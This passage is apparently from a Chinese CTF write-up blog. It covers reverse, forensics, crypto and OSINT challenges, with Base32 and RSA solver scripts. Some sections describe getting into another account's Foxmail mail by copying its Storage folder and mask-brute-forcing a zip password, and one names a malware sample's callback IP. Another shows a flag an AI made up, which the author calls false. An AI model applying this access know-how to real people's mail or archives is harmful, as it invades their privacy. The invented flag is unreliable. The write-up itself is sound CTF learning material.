\n<p>\u4e3a\u4e86\u627e\u5230\u6b63\u786e\u7684flag\uff0c\u6211\u4eec\u9700\u8981\u5bf9\u8fd9\u4e2a\u786c\u7f16\u7801\u7684Base32\u5b57\u7b26\u4e32\u8fdb\u884c\u89e3\u7801\u3002\u4ee5\u4e0b\u662f\u89e3\u7801\u8fc7\u7a0b\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u63d0\u53d6\u786c\u7f16\u7801\u7684Base32\u5b57\u7b26\u4e32<\/strong>\uff1a\u4ece\u4ee3\u7801\u4e2d\u63d0\u53d6\u51fa<code>MN2GE5LDORTHWVZTNRRTA3JTL52DAX3DORRHKY3UMYZDAMRVL4ZW42RQPEQX2===<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u4f7f\u7528Base32\u89e3\u7801\u5de5\u5177\u6216\u5e93\u8fdb\u884c\u89e3\u7801<\/strong>\uff1a\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528Python\u7684<code>base64.b32decode<\/code>\u51fd\u6570\u6765\u89e3\u7801\u8fd9\u4e2a\u5b57\u7b26\u4e32\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>import base64<br>\u200b<br>encoded_flag = \"MN2GE5LDORTHWVZTNRRTA3JTL52DAX3DORRHKY3UMYZDAMRVL4ZW42RQPEQX2===\"<br>decoded_flag_bytes = base64.b32decode(encoded_flag)<br>\u200b<br># \u5c06\u89e3\u7801\u540e\u7684\u5b57\u8282\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32<br>decoded_flag = decoded_flag_bytes.decode('utf-8')<br>print(decoded_flag)<\/code><\/pre>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>\u8fd0\u884c\u89e3\u7801\u811a\u672c<\/strong>\uff1a\u6267\u884c\u4e0a\u8ff0Python\u811a\u672c\uff0c\u5f97\u5230\u89e3\u7801\u540e\u7684flag\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-preformatted\">flag{38d52a6b1d0b4c8a9e5d8e7f2a1b4c8d}<\/pre>\n\n\n\n<p>\u786c\u7f16\u7801\u7684Base32\u5b57\u7b26\u4e32<code>MN2GE5LDORTHWVZTNRRTA3JTL52DAX3DORRHKY3UMYZDAMRVL4ZW42RQPEQX2===<\/code>\u89e3\u7801\u540e\u7684flag\u662f\uff1a<\/p>\n\n\n\n<p><strong>flag{38d52a6b1d0b4c8a9e5d8e7f2a1b4c8d}<\/strong><\/p>\n\n\n\n<p>\u4f46\u662f\u8fd9ai\u8bf4\u5047\u8bdd\uff0c\u90fd\u4e0d\u662fctbuctf\u5f00\u5934\uff0c\u4e00\u773c\u5047\uff0c\u62ff\u8fd9\u4e2a\u811a\u672c\u672c\u5730\u8dd1\u4e00\u904d\u5c31\u662f\u771fflag<\/p>\n\n\n\n<p>D:\\python\\pythonProject.venv\\Scripts\\python.exe D:\\python\\pythonProject\\re1.py <strong>ctbuctf{W3lc0m3_t0_ctbuctf2025_3nj0y!}<\/strong><\/p>\n\n\n\n<p>\u8fdb\u7a0b\u5df2\u7ed3\u675f\uff0c\u9000\u51fa\u4ee3\u7801\u4e3a 0<\/p>\n\n\n\n<p>\uff08\u5947\u4e86\u602a\u4e86\uff0c\u4e3a\u4ec0\u4e48cyberchef base32\u89e3\u51fa\u6765\u4e0d\u662f\u8fd9\u4e2a\u6548\u679c\uff09<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[FORENSICS]\u5b66\u5f1f\u590d\u4ec7\u8bb0\u2160\uff1a\u60c5\u4eba\u8282\u884c\u52a8<\/h4>\n\n\n\n<p>neta USB\u952e\u76d8\u6d41\u91cf\u52fe\u9009\uff0c\u4e00\u628a\u68ad\u4e86\uff08\uff09<\/p>\n\n\n\n<p>\u4e0d\u591a\u5199\u4e86<\/p>\n\n\n\n<p><strong>ctbuctf{xxxLoveyyy1314_xxx20000818_qweasdzxc123456}<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[FORENSICS]\u5b66\u5f1f\u590d\u4ec7\u8bb0\u2161\uff1a\u7f51\u7edc\u8c1c\u8e2a<\/h4>\n\n\n\n<p>\u5f00\u673a\uff0c\u627e\u5230\u76ee\u6807\u6587\u4ef6\uff0c\u6c99\u7bb1\u8dd1\u4e00\u4e0b<\/p>\n\n\n\n<p>\u53cd\u8fdeIP\u5230\u624b<\/p>\n\n\n\n<p><strong>ctbuctf{103.117.120.68}<\/strong><\/p>\n\n\n\n<p>\uff08\u6211\u505a\u7b2c\u4e09\u9898\u7684\u65f6\u5019\uff0c\u6211\u4ee5\u4e3a\u6211\u90fd\u6000\u7591\u6211\u8fdb\u9519\u9898\u76ee\u4e86\uff0c\u8fd9\u4e0dterminal\u5417\uff09<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[FORENSICS]\u5b66\u5f1f\u590d\u4ec7\u8bb0\u2162\uff1a\u5df2\u8bfb\u90ae\u4ef6<\/h4>\n\n\n\n<p>\u8fd9\u4e2a\u76f2\u70b9\u4e86\uff08\uff09<\/p>\n\n\n\n<p>\u867d\u7136\u4e00\u5f00\u59cb\u5c31\u770b\u5230\u4e86\u6709\u8bf4\u66ff\u6362\u6587\u4ef6\u5939\u66f4\u6362\u8d26\u53f7\u767b\u5f55\u4e00\u4e0bfoxmail\u5c31\u80fd\u76f4\u63a5\u770b\u5230\u672c\u5730\uff0c\u6b38\uff0c\u4f46\u6211\u504f\u662f\u4e00\u8eab\u53cd\u9aa8\u975e\u8981\u60f3\u8981\u8f69\u54e5\u7684\u90ae\u7bb1\u5bc6\u7801\u600e\u4e48\u529e\uff08\uff09<\/p>\n\n\n\n<p>\u7136\u540e\u53cd\u9aa8\u56e0\u4e3a\u6b7b\u6d3b\u627e\u4e0d\u5230\u597d\u7528\u7684\u5de5\u5177\u88ab\u6253\u65ad\u4e86<\/p>\n\n\n\n<p>\u5b9e\u9645\u4e0a\u64cd\u4f5c\u5f88\u7b80\u5355\uff0c\u627e\u5230foxmail\u5b58\u5728\u7684\u6587\u4ef6\u5939<\/p>\n\n\n\n<p>\u6253\u5f00\uff0c\u7ffb\u5230<code>Storage<\/code> \u6587\u4ef6\u5939<\/p>\n\n\n\n<p>\u8fdb\u53bb\uff0c\u5982\u679c\u6ca1\u53e6\u5916\u5f00\u4e00\u4e2a\u8d26\u53f7\u767b\u5f55\u4e0a\u53bb\uff0c\u8be5\u6587\u4ef6\u5939\u91cc\u9762\u53ea\u6709\u4e00\u4e2a\u53f7\u7684\u5185\u5bb9<\/p>\n\n\n\n<p><code>3676459182@qq.com<\/code> \u5c31\u8fd9\u4e48\u4e2a\u6587\u4ef6\u5939<\/p>\n\n\n\n<p>\u76f4\u63a5\u767b\u4e2a\u53f7\u4e0a\u53bb\uff0cfoxmail\u4f1a\u81ea\u5df1\u91cd\u521b\u4e00\u4e2a\u65b0\u53f7\u7684\u6587\u4ef6\u5939\u6765\u5b58\u653e\u65b0\u53f7\u7684\u5185\u5bb9<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u65f6\u5019\u76f4\u63a5\u628a<code>3676459182@qq.com<\/code> \u7684\u4e1c\u897f\u5168\u90e8\u590d\u5236\u5230\u65b0\u53f7\u6587\u4ef6\u5939\u91cc\u9762\uff0c\u8be5\u66ff\u6362\u7684\u5168\u90e8\u66ff\u6362<\/p>\n\n\n\n<p>\u7136\u540e\u6b63\u5e38\u767b\u5f55<\/p>\n\n\n\n<p>\u6b38\uff0c\u76f4\u63a5\u5c31\u662f\u8c22\u5b66\u59d0\u7684\u90ae\u7bb1\u4e86<\/p>\n\n\n\n<p>\u7ffb\u7ffb\uff0c\u5c31\u80fd\u627e\u5230\u548c\u8fd9\u9898\u76f8\u5173\u7684\u90ae\u4ef6\u5185\u5bb9<\/p>\n\n\n\n<p>\uff08\u8bdd\u8bf4\u4e3a\u4ec0\u4e48\u662f\u5783\u573e\u90ae\u4ef6\uff0c\u6211\u4e00\u5f00\u59cb\u771f\u6ca1\u60f3\u8fc7\u8fd9\u91cc\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-18-1024x794.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"794\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-18-1024x794.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-385\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u62ff\u5230\u76ee\u6807\u538b\u7f29\u5305\uff0c\u8fd9\u6ca1\u96be\u5ea6\u4e86\uff0c\u53d6\u8bc1\u2160\u90a3\u4e09\u4e2a\u5bc6\u7801\u624d\u7528\u4e00\u4e2a<\/p>\n\n\n\n<p>\u8981\u6709\u540d\u5b57\u5c0f\u5199\u7f29\u5199\u8fd8\u8981\u6709\u5e74\u6708\u65e5<\/p>\n\n\n\n<p>\u4e00\u770b\u5c31\u662f<code>xxx20000818<\/code><\/p>\n\n\n\n<p>\u4ed6\u8bf4\u8fd8\u8981\u4e09\u4e2a\u5b57\u7b26<\/p>\n\n\n\n<p>\u90a3\u5f88\u7b80\u5355\u4e86\uff0c\u63a9\u7801\u5f00\u7206\u4e09\u4f4d\u800c\u5df2<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-19-1024x515.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"515\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-19-1024x515.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-386\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><code>xxx20000818#@~<\/code><\/p>\n\n\n\n<p>\u5f00zip\u6587\u4ef6\u770btxt<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-20.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"686\" height=\"670\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-20.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-387\"  sizes=\"auto, (max-width: 686px) 100vw, 686px\" \/><\/div><\/figure>\n\n\n\n<p>\u6309\u8981\u6c42\u7ec4\u51faflag\u5c31\u597d\u4e86<\/p>\n\n\n\n<p><strong><code>ctbuctf{Ntadmin_Who1sadmin666}<\/code><\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[CRYPTO]Prime_Alchemy<\/h4>\n\n\n\n<p>\u5582\u7ed9AI\uff0cAI\u505a\u7684\uff08\uff09<\/p>\n\n\n\n<p>deepseek\u6700\u6709\u7528\u7684\u4e00\u96c6<\/p>\n\n\n\n<p>\u4e24\u6b65\uff0c\u4e00\u6b65\u7b97\u6700\u8fd1\u7684\u7d20\u6570\uff0c\u4f5c\u4e3as<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">from sympy import nextprime<br>\u200b<br>r = 106717009340925619191040788851283935614953730245463182427804911229989214267850<br>s = nextprime(r)<br>print(s)<\/pre>\n\n\n\n<p>s\u7b97\u5b8c\u653e\u4e0b\u4e00\u4e2a\u4ee3\u7801\u627eq<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import math<br>from sympy import isprime, nextprime &nbsp;# \u786e\u4fdd\u5bfc\u5165nextprime<br>\u200b<br>n = 1918043345993555532778611270206148143792126146234143705959925125326754727020622131782344590751952092307008318769288521916451852274627587418916993424491121593546458666802410833126575592054664856030921027465688561558012934456025628623<br>r_val = 106717009340925619191040788851283935614953730245463182427804911229989214267850<br>s_val = 106717009340925619191040788851283935614953730245463182427804911229989214268093<br>\u200b<br>found = False<br>q = 0<br>\u200b<br>for delta in range(2, 1000, 2):<br> &nbsp; &nbsp;a = s_val + r_val<br> &nbsp; &nbsp;b = delta * r_val<br> &nbsp; &nbsp;c_eq = -n<br> &nbsp; &nbsp;<br> &nbsp; &nbsp;discriminant = b**2 - 4 * a * c_eq<br> &nbsp; &nbsp;root = math.isqrt(discriminant)<br> &nbsp; &nbsp;if root * root != discriminant:<br> &nbsp; &nbsp; &nbsp; &nbsp;continue<br> &nbsp; &nbsp;<br> &nbsp; &nbsp;q_candidate1 = (-b + root) \/\/ (2 * a)<br> &nbsp; &nbsp;q_candidate2 = (-b - root) \/\/ (2 * a)<br> &nbsp; &nbsp;<br> &nbsp; &nbsp;for q_candidate in [q_candidate1, q_candidate2]:<br> &nbsp; &nbsp; &nbsp; &nbsp;if q_candidate &lt;= 0:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;continue<br> &nbsp; &nbsp; &nbsp; &nbsp;if not isprime(q_candidate):<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;continue<br> &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp;t = nextprime(q_candidate) &nbsp;# \u73b0\u5728\u53ef\u4ee5\u6b63\u786e\u8c03\u7528<br> &nbsp; &nbsp; &nbsp; &nbsp;if t - q_candidate != delta:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;continue<br> &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp;p_candidate = q_candidate * s_val + t * r_val<br> &nbsp; &nbsp; &nbsp; &nbsp;if p_candidate * q_candidate == n and isprime(p_candidate):<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;q = q_candidate<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;found = True<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break<br> &nbsp; &nbsp;if found:<br> &nbsp; &nbsp; &nbsp; &nbsp;break<br>\u200b<br>if found:<br> &nbsp; &nbsp;print(f\"Found q: {q}\")<br>else:<br> &nbsp; &nbsp;print(\"No solution found.\")<\/pre>\n\n\n\n<p>q\u627e\u5230\u4e86\u586b\u8fdb\u53bb\uff0c\u7136\u540e\u5c31\u51fa\u4e86\uff08\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import random<br>from Crypto.Util.number import isPrime, inverse, long_to_bytes<br>from math import prod<br>\u200b<br># ============================= \u521d\u59cb\u5316\u914d\u7f6e =============================<br>RSA_SEED = 0<br>BIT_SIZE = 1024<br>FACTORS_PER_PRIME = BIT_SIZE \/\/ 64 &nbsp;# 16\u4e2a\u521d\u59cb\u56e0\u5b50<br>POOL_SIZE = 500_000 &nbsp;# \u7d20\u6570\u6c60\u5bb9\u91cf<br>\u200b<br>\u200b<br># ============================= \u751f\u6210\u786e\u5b9a\u7d20\u6570\u6c60 =============================<br>def generate_prime_pool():<br> &nbsp; &nbsp;\"\"\"\u751f\u6210\u4e0e\u9898\u76ee\u5b8c\u5168\u4e00\u81f4\u7684\u7d20\u6570\u5e8f\u5217\"\"\"<br> &nbsp; &nbsp;rng = random.Random(RSA_SEED)<br> &nbsp; &nbsp;pool = []<br> &nbsp; &nbsp;print(f\"Generating {POOL_SIZE} deterministic primes...\")<br> &nbsp; &nbsp;while len(pool) &lt; POOL_SIZE:<br> &nbsp; &nbsp; &nbsp; &nbsp;p = rng.getrandbits(64)<br> &nbsp; &nbsp; &nbsp; &nbsp;if isPrime(p):<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pool.append(p)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if len(pool) % 50_000 == 0:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"Generated {len(pool)} primes\")<br> &nbsp; &nbsp;print(\"Prime pool ready\")<br> &nbsp; &nbsp;return pool, rng &nbsp;# \u8fd4\u56de\u7d20\u6570\u6c60\u548c\u968f\u673a\u5b9e\u4f8b<br>\u200b<br>\u200b<br>prime_pool, shared_rng = generate_prime_pool()<br>\u200b<br>\u200b<br># ============================= \u5206\u89e3\u6838\u5fc3\u903b\u8f91 =============================<br>class PrimeGeneratorSimulator:<br> &nbsp; &nbsp;def __init__(self, pool, rng):<br> &nbsp; &nbsp; &nbsp; &nbsp;self.pool = pool<br> &nbsp; &nbsp; &nbsp; &nbsp;self.rng = rng &nbsp;# \u5171\u4eab\u539f\u59cb\u968f\u673a\u5b9e\u4f8b<br>\u200b<br> &nbsp; &nbsp;def find_factor(self, n):<br> &nbsp; &nbsp; &nbsp; &nbsp;\"\"\"\u5c1d\u8bd5\u627e\u5230n\u7684\u56e0\u5b50\"\"\"<br> &nbsp; &nbsp; &nbsp; &nbsp;# \u4fdd\u5b58\u539f\u59cb\u968f\u673a\u72b6\u6001\u4ee5\u4fbf\u6062\u590d<br> &nbsp; &nbsp; &nbsp; &nbsp;original_state = self.rng.getstate()<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;# \u5c1d\u8bd5\u4e0d\u540c\u521d\u59cb\u504f\u79fb\u91cf<br> &nbsp; &nbsp; &nbsp; &nbsp;for offset in [0, 16, 32, 64]:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"\\n\u5c1d\u8bd5\u504f\u79fb\u91cf {offset}...\")<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u6062\u590d\u521d\u59cb\u968f\u673a\u72b6\u6001<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;self.rng.setstate(original_state)<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u6d88\u8017\u968f\u673a\u72b6\u6001\u5230\u5f53\u524d\u504f\u79fb\u91cf<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for _ in range(offset):<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;self.rng.getrandbits(1) &nbsp;# \u63a8\u8fdb\u968f\u673a\u72b6\u6001<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;factors = self.pool[offset:offset + FACTORS_PER_PRIME]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;product = prod(factors)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pointer = offset + FACTORS_PER_PRIME<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for attempt in range(len(self.pool) - pointer):<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u751f\u6210\u5019\u9009\u7d20\u6570<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;candidate = 2 * product + 1<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u68c0\u67e5\u662f\u5426\u4e3a\u56e0\u5b50<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if candidate &gt; 1 and n % candidate == 0:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"!!! \u5728\u5c1d\u8bd5 {attempt} \u6b21\u540e\u627e\u5230\u56e0\u5b50 !!!\")<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return candidate<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u6267\u884c\u66ff\u6362\u64cd\u4f5c<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if not factors:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u4f7f\u7528\u5171\u4eab\u7684\u968f\u673a\u5b9e\u4f8b\u8fdb\u884c\u9009\u62e9<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;removed = self.rng.choice(factors)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;factors.remove(removed)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;new_prime = self.pool[pointer]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;factors.append(new_prime)<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u66f4\u65b0\u72b6\u6001<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;product = (product \/\/ removed) * new_prime<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pointer += 1<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u8fdb\u5ea6\u663e\u793a<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (attempt + 1) % 50_000 == 0:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"\u8fdb\u5ea6: {attempt + 1} \u6b21\u5c1d\u8bd5 | \u5f53\u524d\u6307\u9488\u4f4d\u7f6e {pointer}\")<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;return None<br>\u200b<br>\u200b<br># ============================= \u4e3b\u6267\u884c\u6d41\u7a0b =============================<br>if __name__ == \"__main__\":<br> &nbsp; &nbsp;# \u9898\u76ee\u53c2\u6570<br> &nbsp; &nbsp;n = 54632360226691302852393337083378936404439091622585434894080425422639462976869095352159173869297802396075084609260560927073559959001848047113104241683833938815576980565230385166784810536186331676590973947371420551701092181820284412035912571165474721102375308329748282541380513558093018083234322319720394285544950864959194544705289726233827910085957365102708698097998770377421962992962239186941042781266152450706257434382829986850284413758466402371713770049268149375377808988129431696023769427574486278264941241688559889651743958916536828652340523203100054230405229950065588454244779576031253841752168128641<br> &nbsp; &nbsp;e = 65537<br> &nbsp; &nbsp;c = 8218515498494830002751179239620718191747152685793968309620676056056519106009547392379273088181464052483475344707307447199155796889559930133214920641858277538496303269350999547095759742706487783701262955293848384778842147513997382071018614167287765060627752353576353266471865646980065800224840670372962433766255108798942730297544536772063984522428164974052436213727925632196494534854762886770767541907182236148991459924627516626392195718556618682716868365578548277991257352385123267837490179575618377169065404316486019124653230726551447248854055659002613449521498913964553479452290086288224892415735676102<br>\u200b<br> &nbsp; &nbsp;# \u5206\u89e3\u6a21\u6570<br> &nbsp; &nbsp;simulator = PrimeGeneratorSimulator(prime_pool, shared_rng)<br> &nbsp; &nbsp;if (p := simulator.find_factor(n)):<br> &nbsp; &nbsp; &nbsp; &nbsp;q = n \/\/ p<br> &nbsp; &nbsp; &nbsp; &nbsp;print(f\"\\n\u5206\u89e3\u6210\u529f:\\np = {p}\\nq = {q}\")<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;# \u89e3\u5bc6flag<br> &nbsp; &nbsp; &nbsp; &nbsp;phi = (p - 1) * (q - 1)<br> &nbsp; &nbsp; &nbsp; &nbsp;d = inverse(e, phi)<br> &nbsp; &nbsp; &nbsp; &nbsp;m = pow(c, d, n)<br> &nbsp; &nbsp; &nbsp; &nbsp;print(\"\\nFlag:\", long_to_bytes(m).decode())<br> &nbsp; &nbsp;else:<br> &nbsp; &nbsp; &nbsp; &nbsp;print(\"\\n\u672a\u80fd\u5206\u89e3\u6a21\u6570\uff0c\u53ef\u80fd\u9700\u8981\u6269\u5927\u7d20\u6570\u6c60\")<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">[OSINT]\u7f51\u7edc\u8ff7\u8e2a\u64c2\u53f0\u8d5b \u2161 \uff1a\u9f20\u9f20\u65c5\u884c\u8bb0<\/h4>\n\n\n\n<p>\u8fd9\u4e2a\u5230\u624b\u4e0a\uff0c\u76f4\u63a5\u79d2\u51fa\uff08\uff09<\/p>\n\n\n\n<p>\u8fd9\u62cd\u6444\u89d2\u5ea6\uff0c\u4e0d\u80fd\u8bf4\u5927\u5dee\u4e0d\u5dee\uff0c\u53ea\u80fd\u8bf4\u662f\u4e00\u6a21\u4e00\u6837<\/p>\n\n\n\n<p>\u8ddf\u8fdb\u56fe\u7247\uff0c\u627e\u5230\u8bf4\u662f\u5565\u5c0f\u9c7c\u5c71<\/p>\n\n\n\n<p>\u641c\u4e00\u4e0b\u5c31\u627e\u5230\u5b8c\u6574\u5730\u5740\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-21-1024x506.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"506\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-21-1024x506.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-388\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><strong><code>ctbuctf{\u5c71\u4e1c\u7701_ \u9752\u5c9b\u5e02 _ \u5e02\u5357\u533a _ \u798f\u5c71\u652f\u8def _ \u5c0f\u9c7c\u5c71\u516c\u56ed}<\/code><\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[OSINT]\u7f51\u7edc\u8ff7\u8e2a\u64c2\u53f0\u8d5b \u2162\uff1a\u9664\u9b54\u536b\u9053<\/h4>\n\n\n\n<p>\u6211\u81ea\u5df1\u7684\u9898\uff0cemmmm<\/p>\n\n\n\n<p>\u7531\u8bb0\u5fc6\u529b\uff0c\u5f97<\/p>\n\n\n\n<p>flag\uff1a<strong><code>ctbuctf{\u91cd\u5e86\u5e02 _ \u6e1d\u5317\u533a _ \u91d1\u6e1d\u5927\u905329\u53f7 _ 